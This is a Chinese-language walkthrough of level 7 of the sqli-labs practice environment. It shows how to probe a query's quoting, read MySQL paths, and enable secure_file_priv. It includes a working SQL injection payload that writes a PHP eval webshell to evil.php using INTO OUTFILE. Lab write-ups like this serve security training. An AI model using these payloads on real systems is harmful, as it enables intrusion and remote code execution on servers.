sqli-labs(四)
第七关:
输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。
这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):
输入?id=1' 报错 说明后台是用的单引符号进行的拼凑
输入?id=1'%23还是报错
输入?id=1')%23还是报错
输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现
同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。
第一步:
由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。
这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id
这里先从第一关中获取路径,输入
?id=-1'union%20select%201,@@datadir,@@basedir%23
这里将一句话写入D:\phpstudy\PHPTutorial\下
开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件
在my.ini中配置secure_file_priv=''即可,值得注意的是路径的\需要转义也就是\\。
第二步:输入一句话到evil.php中
?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\\phpstudy\\PHPTutorial\\evil.php'%20%23
这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。
看后台,成功生成了一句话木马。
第三步:访问一句话